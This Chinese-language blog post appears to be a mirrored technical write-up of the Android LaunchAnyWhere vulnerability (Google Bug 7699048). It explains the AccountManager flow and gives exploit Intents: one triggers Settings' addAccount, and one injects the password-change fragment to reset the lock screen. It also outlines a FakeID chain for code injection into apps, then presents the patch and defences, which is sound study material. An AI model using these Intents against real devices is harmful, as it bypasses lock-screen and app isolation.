【Android LaunchAnyWhere (Google Bug 7699048)漏洞具体解释及防御措施】吾生也有涯,而知也无涯。这篇文章主要讲述Android LaunchAnyWhere (Google Bug 7699048)漏洞具体解释及防御措施相关的知识,希望能为你提供帮助。
開始近日,Google修复一个组件安全的漏洞LaunchAnyWhere(Google Bug 7699048)。
这个漏洞属于Intend Based提取漏洞,攻击者利用这个漏洞,能够突破了应用间的权限隔离。达到调用随意私有Activity(exported为false)的目的。
该漏洞影响android 2.3至4.3固件。
漏洞分析在分析这个漏洞之前。须要先介绍两个东西。
Account管理机制
从Android2.0開始。系统引入了Account管理机制。具体使用说明见Android官方文档。Account管理机制提供了集中化管理帐户API以及安全存储用户口令和令牌的功能。系统中。能够同一时候存在多个帐户(设置——加入帐户能够查看)。比方Google、Miscrosoft Exchange、微信、支付宝、陌陌等等
文章图片
Account机制涉及AuthenticationService和Client两个组成元素,它们之间的的通讯统一由AccountManagerService调度,AccountManagerService是Android上的一个系统服务。当Client首次使用时。会向AuthenticationService发起addAccount请求,示意图例如以下:
文章图片
最后AuthenticationService会把指定的Intent返回给Client。Client则通过startActivityForResult对终于结果进行处理。这部分源代码比較有趣,我们先看看AccountManager.addAccount的代码:
public AccountManagerFuture< Bundle> addAccount(final String accountType, final String authTokenType, final String[] requiredFeatures, final Bundle addAccountOptions, final Activity activity, AccountManagerCallback< Bundle> callback, Handler handler) { if (accountType == null) throw new IllegalArgumentException(" accountType is null" ); final Bundle optionsIn = new Bundle(); if (addAccountOptions != null) { optionsIn.putAll(addAccountOptions); } optionsIn.putString(KEY_ANDROID_PACKAGE_NAME, mContext.getPackageName()); return new AmsTask(activity, handler, callback) { public void doWork() throws RemoteException { mService.addAccount(mResponse, accountType, authTokenType, requiredFeatures, activity != null, optionsIn); } }.start(); }
最后代码是通过一个AmsTask调用addAccount的,而AmsTask本身是一个异步任务。mRespone是一个Binder对象。当AuthenticationService指定Intent后,就是把intent保存到这个respone对象里,最后看看这个Respone的源代码:
/** Handles the responses from the AccountManager */ private class Response extends IAccountManagerResponse.Stub { public void onResult(Bundle bundle) { Intent intent = bundle.getParcelable(KEY_INTENT); if (intent != null & & mActivity != null) { // since the user provided an Activity we will silently start intents // that we see mActivity.startActivity(intent); // leave the Future running to wait for the real response to this request } else if (bundle.getBoolean(" retry" )) { try { doWork(); } catch (RemoteException e) { // this will only happen if the system process is dead, which means // we will be dying ourselves } } else { set(bundle); } } public void onError(int code, String message) { if (code == ERROR_CODE_CANCELED || code == ERROR_CODE_USER_RESTRICTED) { // the authenticator indicated that this request was canceled, do so now cancel(true /* mayInterruptIfRunning */); return; } setException(convertErrorToException(code, message)); } }
从代码可见。Respone直接帮我们startActivity了。
关于System用户
在Android中,能够说System用户拥有相当高的权限,通过阅读源代码能够发,全部permissoin的地方都是直接放行System用户的。见代码ActivityManagerService.checkComponentPermission
/** * This can be called with or without the global lock held. */ int checkComponentPermission(String permission, int pid, int uid, int owningUid, boolean exported) { // We might be performing an operation on behalf of an indirect binder // invocation, e.g. via {@link #openContentUri}.Check and adjust the // client identity accordingly before proceeding. Identity tlsIdentity = sCallerIdentity.get(); if (tlsIdentity != null) { Slog.d(TAG, " checkComponentPermission() adjusting {pid,uid} to {" + tlsIdentity.pid + " ," + tlsIdentity.uid + " }" ); uid = tlsIdentity.uid; pid = tlsIdentity.pid; }if (pid == MY_PID) { return PackageManager.PERMISSION_GRANTED; }return ActivityManager.checkComponentPermission(permission, uid, owningUid, exported); }
可见system用户能够全然无视权限检查,无论组件是否为exported,最后都直接返回PERMISSION_GRANTED。
漏洞分析通过上面对Account机制和System用户的分析。接下来进入主题吧。
在常规情况下,当某个Client发起addAccount请求时。AuthenticationService通常会返回一个指向同包下的Activity(系统提供了基类AccountAuthenticatorActivity)。这个Activity主要负责完毕帐户和password的输入交互。
然而。理论上这个AuthenticationService是能够随意指定Intent的。比方指定其它包下的Activity。
因为终于startActivity的调用发生在Client进程,因此AuthenticationService是能够调起全部Client能够打开的Activity,当然包括Client自身的exported为false的Activity了。
但Client往往仅仅是一般用户,这样的用途价值并不高。幸好系统的Setting帐户相关的功能。提供了一些能够利用的逻辑。漏洞利用原理:想办法令Setting调用addAccount方法,EvilAuthenService就能够指定随意的Intent,因为startActivity的调用发生在Setting,因此就具备了System用户的全部权限了。
通过以下代码, 我们能够直接让Setting发起一个AddAccount请求:
Intent intent = new Intent(); intent.setComponent(new ComponentName(" com.android.settings" , " com.android.settings.accounts.AddAccountSettings" )); intent.setAction(Intent.ACTION_RUN); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); String authTypes[] = {Constants.ACCOUNT_TYPE}; intent.putExtra(" account_types" , authTypes); //authType须要指定 AuthenticatorActivity.this.startActivity(intent);
利用示意图例如以下:
文章图片
漏洞利用LaunchAnyWhere漏洞,假设结合其它的漏洞,效果会很惊艳。
结合Fragment注入漏洞,直接改动屏幕password
Fragment注入漏洞具体解释见我之前的博客《Android框架攻击之Fragment注入》。这个漏洞眼下大部分厂商已经修复了。但假设再配合LaunchAnyWhere漏洞,那么Fragment注入漏洞修复就形同虚设了。这里把Fragment注入漏洞利用的关键代码贴出来:
Intent intent = new Intent(); intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); intent.setClassName(" com.android.settings" , " com.android.settings.Settings" ); intent.putExtra(" :android:show_fragment" ," com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment" ); intent.putExtra(" confirm_credentials" , false); startActivity(intent);
文章图片
漏洞利用POC, 见https://github.com/retme7/launchAnyWhere_poc_by_retme_bug_7699048
结合FakeID漏洞,实现InjectAnyWhere
FakeID漏洞具体解释见我之前的博客《Android FakeID(Google Bug 13678484) 漏洞具体解释》。
FakeID漏洞利用的关键让目标进程执行Webview控件,载入Flash控件达到程序注入的目的。
通过LaunchAnyWhere漏洞,我们能够直接打开目标进程的Webview。
FakeID和LaunchAnyWhere完美结合的做法是在一个APK中同一时候集成两个漏洞利用,大致步骤例如以下:
- EvilApp首先令Setting产生一AddAccount请求。并把accountType指定EvilApp本身处理;
- EvilApp创建Intent,并把Intent指向攻击应用Webview的Activity(如微信的com.tencent.mm.plugin.webview.ui.tools.ContactQZoneWebView),url指向某个有flash元素的网页;
- 因为FakeID。WebView则会载入EvilApp中so,注入完毕;
- 在so中再直接载入EvilApp.apk文件,实现java注入。这部分更具体的内容,见我之前的博客《攻击的Android注入术》;
public void onResult(Bundle result) { mNumResults++; -if (result != null & & !TextUtils.isEmpty(result.getString(AccountManager.KEY_AUTHTOKEN))) { +Intent intent = null; +if (result != null +& & (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) { +/* +* The Authenticator API allows third party authenticators to +* supply arbitrary intents to other apps that they can run, +* this can be very bad when those apps are in the system like +* the System Settings. +*/ +PackageManager pm = mContext.getPackageManager(); +ResolveInfo resolveInfo = pm.resolveActivity(intent, 0); +int targetUid = resolveInfo.activityInfo.applicationInfo.uid; +int authenticatorUid = Binder.getCallingUid(); +if (PackageManager.SIGNATURE_MATCH != +pm.checkSignatures(authenticatorUid, targetUid)) { +throw new SecurityException( +" Activity to be started with KEY_INTENT must " + +" share Authenticator‘s signatures" ); +} +} +if (result != null +& & !TextUtils.isEmpty(result.getString(AccountManager.KEY_AUTHTOKEN))) { String accountName = result.getString(AccountManager.KEY_ACCOUNT_NAME); String accountType = result.getString(AccountManager.KEY_ACCOUNT_TYPE); if (!TextUtils.isEmpty(accountName) & & !TextUtils.isEmpty(accountType)) { @@ -2223,6 +2276,7 @@ super(looper); }
因为 Resopne是一个Binder对象,因此当onResult被回调时,能够通过Binder.getCallingUid()获取authenticatorUid,假设targetUid跟authenticatorUid不同样,则直接对AuthenticationService抛异常。
防御措施应用自身的防御措施是保证expotred为false的Activity不被意外调起。我们通过加入一些检查点,比方B是一个expotred为fase的Activity,按正常逻辑。Activity的堆栈顺序是:
- A1-> B-> C1
- A2-> B-> C2
Activity堆栈管理的一个实现,能够參考这里http://www.apkbus.com/blog-117210-44386.html
推荐阅读
- .Net语言 APP开发平台——Smobiler学习日志(HoverBackColor属性的简单介绍)
- [Android FrameWork 6.0源码学习] View的重绘过程
- 关于移动端自动化测试-Appium的搭建
- win xp系统下word怎样设定上下标对齐
- winxp系统如何删除4399小游戏盒子|xp系统删除4399小游戏盒子的办法
- xp系统下怎样让QQ全拼输入法不显示QQ头像
- xp系统下如何更新小红伞英文版|xp系统下更新小红伞英文版的办法
- xp系统avi文件无法打开是怎样回事|avi文件打开不了如何处理
- xp系统下搜狗5笔输入法无法删除如何处理|xp删除搜狗5笔输入法的办法